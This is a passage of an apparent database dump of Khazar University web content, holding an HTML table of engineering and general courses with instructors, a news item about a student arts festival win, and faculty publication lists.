Ahmadzade&nbsp;</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 417</td>\r\n  <td>Petroleum Reservoir\r\n  Simulation&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Masoud Mehrizadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 402</td>\r\n  <td>Petroleum Production\r\n  Engineering 1</td>\r\n  <td>3</td>\r\n  <td>Shahriyar Alkhasli</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 338</td>\r\n  <td>Fluid Mechanics for\r\n  Petroleum Engineers&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Ehsan Jafari</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 542</td>\r\n  <td>Advanced Gas and\r\n  Gas-Condensate Reservoir Engineering&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Tahir Mammadov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 570</td>\r\n  <td>Numerical Reservoir\r\n  Simulation&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Masoud Mehrizadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 572</td>\r\n  <td>Enhanced Oil\r\n  Recovery&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Ehsan Jafari</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 505</td>\r\n  <td>Advanced Drilling\r\n  engineering&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Samir Valiyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 509</td>\r\n  <td>Petroleum\r\n  Geoscience&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Gasham Zeynalov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 565</td>\r\n  <td>Fluid flow in Porous\r\n  Media&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Masoud Mehrizadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 538</td>\r\n  <td>Well Stimulation&nbsp; &nbsp;</td>\r\n  <td>4</td>\r\n  <td>Ehsan Jafari</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 531</td>\r\n  <td>Formation\r\n  Evaluation&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Elshan Aliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PHSC111</td>\r\n  <td>Physics 1A</td>\r\n  <td>3</td>\r\n  <td>Sevda Garibova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PHSC111</td>\r\n  <td>Physics 1B(Iraqlı\r\n  tələbələr)</td>\r\n  <td>3</td>\r\n  <td>Sevda Garibova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PHSC112</td>\r\n  <td>Physics 2A</td>\r\n  <td>3</td>\r\n  <td>Fakhranda\r\n  Alimardanova&nbsp;</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PHSC112</td>\r\n  <td>Physics 2B</td>\r\n  <td>3</td>\r\n  <td>Fakhranda\r\n  Alimardanova&nbsp;</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PHSC112</td>\r\n  <td>Physics 2C</td>\r\n  <td>3</td>\r\n  <td>Ehsan Jafari</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">EENG211</td>\r\n  <td>Circuits Theory</td>\r\n  <td>3</td>\r\n  <td>Shahmardan Amirov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ETR211</td>\r\n  <td>Semiconductor Devices\r\n  and Modeling&nbsp;&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Nuru Safarov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ETR359</td>\r\n  <td>Microprocessor-based\r\n  Systems</td>\r\n  <td>3</td>\r\n  <td>Sabuhi Ganiyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ETR346</td>\r\n  <td>Telecommunication\r\n  Networks</td>\r\n  <td>3</td>\r\n  <td>Farida Tatardar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ETR393</td>\r\n  <td>Basics of Circuitry</td>\r\n  <td>3</td>\r\n  <td>Shahmardan Amirov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ETR390</td>\r\n  <td>Control Systems</td>\r\n  <td>3</td>\r\n  <td>Sevda Garibova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 101</td>\r\n  <td>Calculus 1A</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Javanshir\r\n  Azizov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 101</td>\r\n  <td>Calculus 1B</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Javanshir\r\n  Azizov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 101</td>\r\n  <td>Calculus 1C</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Lala\r\n  Atəmova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 101</td>\r\n  <td>Calculus 1D</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Ali\r\n  Hüseynli</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 102</td>\r\n  <td>Calculus 2</td>\r\n  <td>3</td>\r\n  <td>Lala Atəmova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 340</td>\r\n  <td>Statistical methods\r\n  for engineers</td>\r\n  <td>3</td>\r\n  <td>Vüsal Mammadrzayev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 312</td>\r\n  <td>Introduction to\r\n  Discrete Mathematics</td>\r\n  <td>3</td>\r\n  <td>Elvin Azizbayov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 231</td>\r\n  <td>Applied Linear\r\n  Algebra</td>\r\n  <td>3</td>\r\n  <td>Ali Hüseynli</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 115</td>\r\n  <td>Computer Application\r\n  in Engineering (A)</td>\r\n  <td>3</td>\r\n  <td>Rashad Khaliqov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS115</td>\r\n  <td>Computer Application\r\n  in Engineering (B)</td>\r\n  <td>3</td>\r\n  <td>Abdulsalam Salihu\r\n  Mustafa</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS115</td>\r\n  <td>Computer Application\r\n  in Engineering (C)</td>\r\n  <td>3</td>\r\n  <td>Abdulsalam Salihu Mustafa</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 140</td>\r\n  <td>Fundamentals of\r\n  Computer programming&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Ahmed Babanlı</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 205</td>\r\n  <td>Object Oriented\r\n  Programming (B)</td>\r\n  <td>3</td>\r\n  <td>Rashad Khaliqov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 220</td>\r\n  <td>Web &amp; Mobile\r\n  Programming 1 (A)</td>\r\n  <td>3</td>\r\n  <td>Mahammad Sharifov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 220</td>\r\n  <td>Web &amp; Mobile\r\n  Programming 1 (B)</td>\r\n  <td>3</td>\r\n  <td>Mahammad Sharifov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 350</td>\r\n  <td>Computer Graphics</td>\r\n  <td>3</td>\r\n  <td>Seyed Amir Siahpoosha</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 309</td>\r\n  <td>Computer Networks (A)</td>\r\n  <td>3</td>\r\n  <td>Abdulsalam Salihu\r\n  Mustafa</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 309</td>\r\n  <td>Computer Networks (B)</td>\r\n  <td>3</td>\r\n  <td>Asim Namazov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 316</td>\r\n  <td>Database Management Systems</td>\r\n  <td>4</td>\r\n  <td>Seyed Amir Siahpoosha</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 336</td>\r\n  <td>Design and Analysis of Modern\r\n  Algorithms</td>\r\n  <td>3</td>\r\n  <td>Ahmed Babanlı</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 415</td>\r\n  <td>Artificial Intelligence</td>\r\n  <td>3</td>\r\n  <td>Ahmed Babanlı</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 455</td>\r\n  <td>Introduction to Compilers</td>\r\n  <td>3</td>\r\n  <td>Seyed Amir Siahpoosha</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 363</td>\r\n  <td>Digital Logic</td>\r\n  <td>4</td>\r\n  <td>Sabuhi Ganiyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">EENG302</td>\r\n  <td>Signals and Systems</td>\r\n  <td>3</td>\r\n  <td>Mazahim Guliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 401</td>\r\n  <td>Introduction to Robotics</td>\r\n  <td>4</td>\r\n  <td>Rahman Rasulzade</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 440</td>\r\n  <td>Introduction to the\r\n  Basics of the Python and Neural Networks</td>\r\n  <td>3</td>\r\n  <td>Izat Shahsenov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 510</td>\r\n  <td>Advanced computer networks and\r\n  communications</td>\r\n  <td>4</td>\r\n  <td>Abdulsalam Salihu\r\n  Mustafa</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 505</td>\r\n  <td>Advanced Data Structure</td>\r\n  <td>4</td>\r\n  <td>Leyla Muradkhanli</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 515</td>\r\n  <td>Advanced Object-Oriented Programming</td>\r\n  <td>4</td>\r\n  <td>Seyed Amir Siahpoosha</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 535</td>\r\n  <td>Distributed Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Farman Mammadov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 625</td>\r\n  <td>Optical Signals and Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\r\n  <td>4</td>\r\n  <td>Farman Mammadov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 585</td>\r\n  <td>Parallel Computer Architecture</td>\r\n  <td>4</td>\r\n  <td>Mazahim Guliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 605</td>\r\n  <td>Parallel Programming</td>\r\n  <td>4</td>\r\n  <td>Leyla Muradkhanli</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 610</td>\r\n  <td>Advanced Software\r\n  Engineering</td>\r\n  <td>4</td>\r\n  <td>Ulviyya Akhmadova</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS 520</td>\r\n  <td>Advanced Operating\r\n  Systems</td>\r\n  <td>4</td>\r\n  <td>Abdulsalam Salihu\r\n  Mustafa</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGR 205</td>\r\n  <td>Engineering Mechanics</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Mehdi\r\n  Bashiri</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">EENG 250</td>\r\n  <td>Fundaments of\r\n  Electrical Engineering</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Sabuhi\r\n  Ganiyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ME 201</td>\r\n  <td>Introduction to\r\n  Mechanical Engineering</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Farid\r\n  Aliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CIV 303</td>\r\n  <td>Strength of Material</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Mehdi\r\n  Kiasatfar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS140</td>\r\n  <td>Fundamentals of\r\n  Computer Programming</td>\r\n  <td>3</td>\r\n  <td>Mehdi Kiasatfar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGR 210</td>\r\n  <td>Fluid Mechanics I</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Masoud\r\n  Mehrizadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS140</td>\r\n  <td>CNC Machine\r\n  Programming and Machine Operation</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Mirsadegh\r\n  Seyedzavvar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ME 430</td>\r\n  <td>AutoCAD for\r\n  Mechanical Engineering</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Mirsadegh\r\n  Seyedzavvar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ME 416</td>\r\n  <td>Machine Vibrations</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Mirsadegh\r\n  Seyedzavvar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ME 481</td>\r\n  <td>Machine Theory</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Mehdi\r\n  Kiasatfar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ME 402</td>\r\n  <td>Machine Element II</td>\r\n  <td>3</td>\r\n  <td width=\"203\">Zahid\r\n  Nabiyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGR 301</td>\r\n  <td>Thermodynamic 1</td>\r\n  <td>3</td>\r\n  <td>Rasoul Moradi</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHE 405</td>\r\n  <td>Kinteic and reactions</td>\r\n  <td>3</td>\r\n  <td>Monday Obekpa</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHE 302</td>\r\n  <td>Heat Transfer</td>\r\n  <td>3</td>\r\n  <td>Mehdi Kiasatfar</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHE201</td>\r\n  <td>Introduction to\r\n  Chemical Engineering</td>\r\n  <td>2</td>\r\n  <td>Rasoul Moradi</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGR 305</td>\r\n  <td>Unit Operation I</td>\r\n  <td>3</td>\r\n  <td>Adil Abbasov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHE 305</td>\r\n  <td>Process Control</td>\r\n  <td>3</td>\r\n  <td>Kanan Shikhaliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHEM 111</td>\r\n  <td>Chemistry I&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Rasoul Moradi</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHEM 113</td>\r\n  <td>Analytical Chemistry</td>\r\n  <td>2</td>\r\n  <td>Rasoul Moradi</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHE 410</td>\r\n  <td>Alternative Fuel\r\n  Technology</td>\r\n  <td>3</td>\r\n  <td>Adil Abbasov</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHEM 201</td>\r\n  <td>Organic chemistry</td>\r\n  <td>3</td>\r\n  <td>Rasoul Moradi</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CHEM 112</td>\r\n  <td>Chemistry II</td>\r\n  <td>3</td>\r\n  <td>Faculty</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CIV 366</td>\r\n  <td>Foundation\r\n  Engineering&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Mehdi Bashiri</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CIV 381</td>\r\n  <td>Reinforced Concrete\r\n  Fundamentals - 1&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Zia Zamanzadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ARCH332</td>\r\n  <td>Architectural\r\n  Structures&nbsp;</td>\r\n  <td>3</td>\r\n  <td>Zia Zamanzadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CIV 485</td>\r\n  <td>Fundamentals of Steel\r\n  design</td>\r\n  <td>3</td>\r\n  <td>Mehdi Bashiri</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl77\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">CIV 451</td>\r\n  <td width=\"384\">Hydraulics</td>\r\n  <td width=\"96\">3</td>\r\n  <td>Zia Zamanzadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" class=\"xl77\" width=\"85\" style=\"\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">CIV 512</td>\r\n  <td width=\"384\">Engineering\r\n  Seismology</td>\r\n  <td width=\"96\">3</td>\r\n  <td>Mehdi Bashiri</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CIV215</td>\r\n  <td>Engineering drawing</td>\r\n  <td>3</td>\r\n  <td>Zia Zamanzadeh</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL 101</td>\r\n  <td>Azerbaijan Language A</td>\r\n  <td>3</td>\r\n  <td>Hilala Ibadova</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL 101</td>\r\n  <td>Azerbaijan Language B</td>\r\n  <td>3</td>\r\n  <td>Gatiba Mahmudova</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL 101</td>\r\n  <td>Azerbaijan Language C</td>\r\n  <td>3</td>\r\n  <td>Gatiba Mahmudova</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL 101</td>\r\n  <td>Azerbaijan Language D</td>\r\n  <td>3</td>\r\n  <td>Reyhan Madatova</td>\r\n  <td>Rus</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZH 150</td>\r\n  <td>Azerbaijan history\r\n  for foreigners</td>\r\n  <td>3</td>\r\n  <td>Bayram Guliyev</td>\r\n  <td>English</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">GERM 201</td>\r\n  <td>German Language 1</td>\r\n  <td>3</td>\r\n  <td>Sevinj Allahverdiyeva</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ITAL 201</td>\r\n  <td>Italian Language 1 A\r\n  (2qrup iraqli tələbələr üçün)</td>\r\n  <td>3</td>\r\n  <td>Gunay Abbasova</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PHIL110</td>\r\n  <td>Introduction to\r\n  philosophy</td>\r\n  <td>3</td>\r\n  <td>Mail Yagub</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ECON 101</td>\r\n  <td>Introduction to\r\n  Economics A</td>\r\n  <td>3</td>\r\n  <td>Konul Nuriyeva</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ECON 101</td>\r\n  <td>Introduction to\r\n  Economics B</td>\r\n  <td>3</td>\r\n  <td>Konul Nuriyeva</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MED 315</td>\r\n  <td>Life Science</td>\r\n  <td>3</td>\r\n  <td>Parvana Bakhshaliyeva</td>\r\n  <td>Azərb</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">LAW 220</td>\r\n  <td>Family Law</td>\r\n  <td>3</td>\r\n  <td>Akif Alizada</td>\r\n  <td>Azərb</td>\r\n </tr></tbody></table>\r\n<p><strong><br></strong></p><p><strong>Dekan:&nbsp;<strong>Dr. Hassan Niknafs</strong>  </strong></p>'),(1631,926,'en','Khazar University Wins Student Arts Festival','On April 11-12, the IX annual Student Spring National Student Arts Festival coordinated by Azerbaijan’s Ministry of Youth and Sports as well as Azerbaijan Student Youth Organizations’ Union took place in Azerbaijan State Russian Drama Theater. Khazar University participated in two categories of the competition and won both.','<p>On\r\nApril 11-12, the IX annual Student Spring National Student Arts Festival\r\ncoordinated by Azerbaijan’s Ministry of Youth and Sports as well as Azerbaijan\r\nStudent Youth Organizations’ Union took place in Azerbaijan State Russian Drama\r\nTheater. Khazar University participated in two categories of the competition\r\nand won both. </p>\r\n<p>The\r\nuniversity’s dance ensemble (instructors: Sabina Ismayilova and Telman Aliyev)\r\ntook first place in the dance category, as did Musa Abdullayev, third-year\r\nstudent of the School of Economics and Management (instructor: Associate\r\nProfessor Zulfiyya Sadigova, Head of the Department of Music and Fine Arts) in\r\nthe vocal performance category. </p>\r\n<p>We\r\ncongratulate the winners and wish them further success.&nbsp;</p>'),(1617,1002,'az',' Professor Mahammad Nuriyev',' Professor Mahammad Nuriyev','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\"><tbody><tr><td colspan=\"2\" width=\"948\"><p><strong><a href=\"http://www.khazar.org/files/CVMahammadNuriyev23.doc\">Mahammad Nuriyev</a></strong></p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Azərbaycanda inkişafın orta müddətli proqnozu</p></td><td width=\"474\"><p>M.N.Nuriyev // Expert. –&nbsp; Fevral 2008. –№ 2. – 33-35.&nbsp;<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>E-təhsil: inkişaf meylləri və Xəzər Universitəsinin təcrübəsi</p></td><td width=\"474\"><p>M.N.Nuriyev // Khazar View. – May 2010. –&nbsp; № 285. –– s.37-46.&nbsp;<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>ICT in Education: Khazar University Faculty and Student’s Perspective</p></td><td width=\"474\"><p>M.N.Nuriyev, L.Sotova // Khazar View. – May 2010. – # 285. – p. 43</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>On the Way to E-Learning Best Practices: the Experience of Khazar University</p></td><td width=\"474\"><p>M.N.Nuriyev, L.V. Sotova // Elektron hökumət Azərbaycanda: nailiyyətlər və perspektivlər: beynəlxalq konfransı məruzə materialları.– Bakı, 2010. – s. 197-200</p></td></tr><tr><td width=\"474\"><p>Concise Dictionary of Project Management Terms: English – Azerbaijani, Azerbaijani-English</p></td><td width=\"474\"><p>M.N. Nuriyev. – Baku: Khazar University, 2012. – 153 p. – ISBN 978-9952-20-070-6</p><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1618,1002,'en',' Professor Mahammad Nuriyev',' Professor Mahammad Nuriyev','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td colspan=\"2\" width=\"948\"><p><strong><a href=\"http://www.khazar.org/files/CVMahammadNuriyev23.doc\">Mahammad Nuriyev</a></strong></p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Azərbaycanda inkişafın orta müddətli proqnozu</p></td><td width=\"474\"><p>M.N.Nuriyev // Expert. –&nbsp; Fevral 2008. –№ 2. – 33-35.&nbsp;<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>E-təhsil: inkişaf meylləri və Xəzər Universitəsinin təcrübəsi</p></td><td width=\"474\"><p>M.N.Nuriyev // Khazar View. – May 2010. –&nbsp; № 285. –– s.37-46.&nbsp;<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>ICT in Education: Khazar University Faculty and Student’s Perspective</p></td><td width=\"474\"><p>M.N.Nuriyev, L.Sotova // Khazar View. – May 2010. – # 285. – p. 43</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>On the Way to E-Learning Best Practices: the Experience of Khazar University</p></td><td width=\"474\"><p>M.N.Nuriyev, L.V. Sotova // Elektron hökumət Azərbaycanda: nailiyyətlər və perspektivlər: beynəlxalq konfransı məruzə materialları.– Bakı, 2010. – s. 197-200</p></td></tr><tr><td width=\"474\"><p>Concise Dictionary of Project Management Terms: English – Azerbaijani, Azerbaijani-English</p></td><td width=\"474\"><p>M.N. Nuriyev. – Baku: Khazar University, 2012. – 153 p. – ISBN 978-9952-20-070-6</p><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1620,1003,'az','Associate Professor Eldar Shahgaldiyev','Associate Professor Eldar Shahgaldiyev','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\"><tbody><tr><td colspan=\"2\" width=\"948\"><p><strong><a href=\"http://www.khazar.org/files/Eldar%20Shahgaldiyev%20CV.doc\">Eldar Shahgaldiyev</a></strong></p><p><strong><br></strong></p></td></tr><tr><td width=\"474\"><p>Brochure: “What is persona­lity?”, A questionnaire for conducting sociological surveys on moral and psychological climate of labor units”</p></td><td width=\"474\"><p>Baku, 1990 (in Azeri);</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“Teaching of English at the secondary schools - advanced teaching experience in Reading and Speaking”</p></td><td width=\"474\"><p>Baku, Azerbaijan, 1990</p></td></tr><tr><td width=\"474\"><p>“Content analyses of the notion of “moral psychological climate”, “Moral psychological climate of the labor units”</p></td><td width=\"474\"><p>Baku, Ganjlik, 1991 (in Russian);</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“About the content of the notion “moral-psychological climate”.</p></td><td width=\"474\"><p>Magazine Azerbaijani Academy of Sciences “History, Philosophy, Law”, 1991, No 12.</p></td></tr><tr><td width=\"474\"><p>Textbook for University Students: “Reading Topics and Discussions”</p></td><td width=\"474\"><p>Baku, Khazar University Press, 2007 (in English)</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Translation and edition of the book: “The Evening Stories”</p></td><td width=\"474\"><p>Baku Shams, 2007 (in English);</p></td></tr><tr><td width=\"474\"><p>Textbook for University students: “English for Special Purposes (ESP) for Petroleum Engineering”</p></td><td width=\"474\"><p>Khazar Press, (under preparation).</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“Theoretical and Practical Substantiations of the Role of Assessment in Improving Teacher Quality”&nbsp;</p></td><td width=\"474\"><p>“International Association for Educational Assessment, 33<sup>rd</sup>&nbsp;Annual Conference, 16-21 September 2007. Baku, 2007, p129</p></td></tr><tr><td width=\"474\"><p>Assignments for students of 